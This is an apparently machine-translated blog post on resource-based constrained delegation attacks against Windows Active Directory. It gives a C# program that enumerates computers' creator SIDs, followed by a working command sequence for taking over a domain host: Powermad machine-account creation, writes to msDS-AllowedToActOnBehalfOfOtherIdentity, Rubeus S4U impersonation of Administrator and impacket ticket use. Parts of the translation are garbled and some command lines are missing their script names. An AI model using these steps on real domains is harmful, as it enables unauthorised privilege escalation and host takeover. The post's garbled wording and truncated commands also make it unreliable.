Attack idea based on delegation in windows - resource-based constrained delegation

1. Preface

I wrote an article before Attack ideas based on delegation in windows (Part I) - binding delegation and non binding delegation , today's resource-based constrained delegation attack is the last article of this topic. It is also a small comma for the research on the technical point of delegation. Delegation is too annoying!!!

2. Technical points

2.1 utilization principle:

The MSDS allowedtoactonbehalfofotheridentity attribute is used to control which users can impersonate as any user in the domain and then authenticate with the computer. If the value of this attribute can be configured as a machine account for which we have obtained the password, we can control the host configured with this attribute as any member. For example: zhangsan $means that we have obtained the password account, and we have the right to modify the MSDS allowedtoactonbehalfofotheridentity attribute of apple host, so we can get all the permissions of apple host. Of course, the premise is that we are already in the domain.

In other words, if we have the permission to configure a host MSDS allowedtoactonbehalfofotheridentity and create a machine account, we will get all the permissions of the machine. As for why it is a machine account, but not an ordinary user's account, because s4u2elf protocol will be used during the attack, and it is only applicable to accounts with SPN. Ordinary accounts do not have SPN, but there are machine accounts.

Add: a machine will have a host service spn by default, such as host/LISI. This host type service contains many small services, such as cifs. It is a collection of services.

So let's think about it now. Who has the permission to modify a host MSDS allowedtoactonbehalfofotheridentity?

According to the research of the bosses, the conclusion is:

  1. The machine account of this host.
  2. Join this host to an account in the domain. For example, if tom's domain account is cody when adding a domain, the cody user has the permission to modify the MSDS allowedtoactonbehalfofotheridentity attribute of tom's host. Next, add a diagram in ATEAM blog to facilitate your understanding. In the following figure, n0thing user has the permission to modify the MSDS allowedtoactonbehalfofotheridentity attribute of n0thing PC host.

To sum up, if we want to attack with resource-based constrained delegation, we need the following two points:

  1. A machine account
  2. An account that has the right to modify MSDS allowedtoactonbehalfofotheridentity

So how do I get a machine account?

Users in the domain have an attribute called MachineAccountQuota, which represents the number of common computer accounts that users are allowed to use in the domain. The default is 10. This means that if we have an ordinary domain user, we can use this user to create up to ten new computer accounts, that is, machine accounts.

How do I get an MSDS allowedtoactonbehalfofotheridentity that I have the right to modify?

With luck, you can meet but not ask. However, the good news is that we can query the MS DS creator Sid of the computer in the domain. This value represents the user who adds the computer to the domain. It has the permission to modify MSDS allowedtoactonbehalfofotheridentity. If we can get the credentials of that user, we can control all computers that the user adds to the domain.

Reference code:

using System;
using System.Security.Principal;
using System.DirectoryServices;

namespace ConsoleApp9
    class Program

        static void Main(string[] args)

            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");

            DirectorySearcher search = new DirectorySearcher(ldap_conn);

            String query = "(&(objectClass=computer))";//Find computer

            search.Filter = query;

            foreach (SearchResult r in search.FindAll())
                String mS_DS_CreatorSID="";
                String computername = "";
                    computername = r.Properties["dNSHostName"][0].ToString();
                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
                //Then find the user name through sid
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;
                foreach (SearchResult u in search2.FindAll())
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
                    if (user_sid == mS_DS_CreatorSID) {
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);

The whole utilization process is roughly like this:

  1. Add machine account
  2. Modify the MSDS allowedtoactonbehalfofotheridentity value to the sid of the machine account
  3. Pretending to be a machine account causes the administrator to apply for a ticket (similar to a silver ticket) to access the machine account. Because the machine account is not configured with binding delegation, this ticket cannot be forwarded. However, in resource-based binding delegation, whether the ticket can be forwarded is not important and will not affect the s4u2proxy later.
  4. Use this ticket to apply for access to the machine whose MSDS allowedtoactonbehalfofotheridentity attribute has been modified.

3. Utilization process:

1. Add a machine account with powermad:

Download address:

New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
net group "domain computers" /domain #verification

2. Query the sid of the added machine account #Microsoft.ActiveDirectory.Management.dll download here

dsquery computer | dsget computer -dn -sid
#Execute on the domain controller to view the machine account sid

Get-ADComputer evilsystem
#You can also get the sid of the machine account evilsystem, # you need to import module Microsoft in powershell ActiveDirectory. Management. dll

Set-ADComputer zhangsan -PrincipalsAllowedToDelegateToAccount evilsystem$
#You need to import module Microsoft in powershell ActiveDirectory. Management. dll

3. Modify MSDS allowedtoactonbehalfofotheridentity:

3.1 win server 2012 and above:

Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount evilsystem$
#You need to import module Microsoft in powershell ActiveDirectory. Management. dll

Get-ADComputer yukong -Properties PrincipalsAllowedToDelegateToAccount
#You need to import module Microsoft in powershell ActiveDirectory. Management. dll

Get-DomainComputer yukong -Properties msds-allowedtoactonbehalfofotheridentity
#Based on powerview

3.2 win server 2012:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3763276348-88739081-2848684050-1601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer yukong| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

4. Use rubues to obtain bills

Rubeus.exe hash /user:evilsystem /password:evil /   
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:cifs/zhangsan /ptt
dir \\\c$

5. Use impacket

python -dc-ip -spn cifs/yukong -impersonate administrator$:evil
set KRB5CCNAME=administrator.ccache
python -no-pass -k yukong

Tags: security Intranet Penetration

Posted by jahred on Sun, 01 May 2022 15:55:11 +0300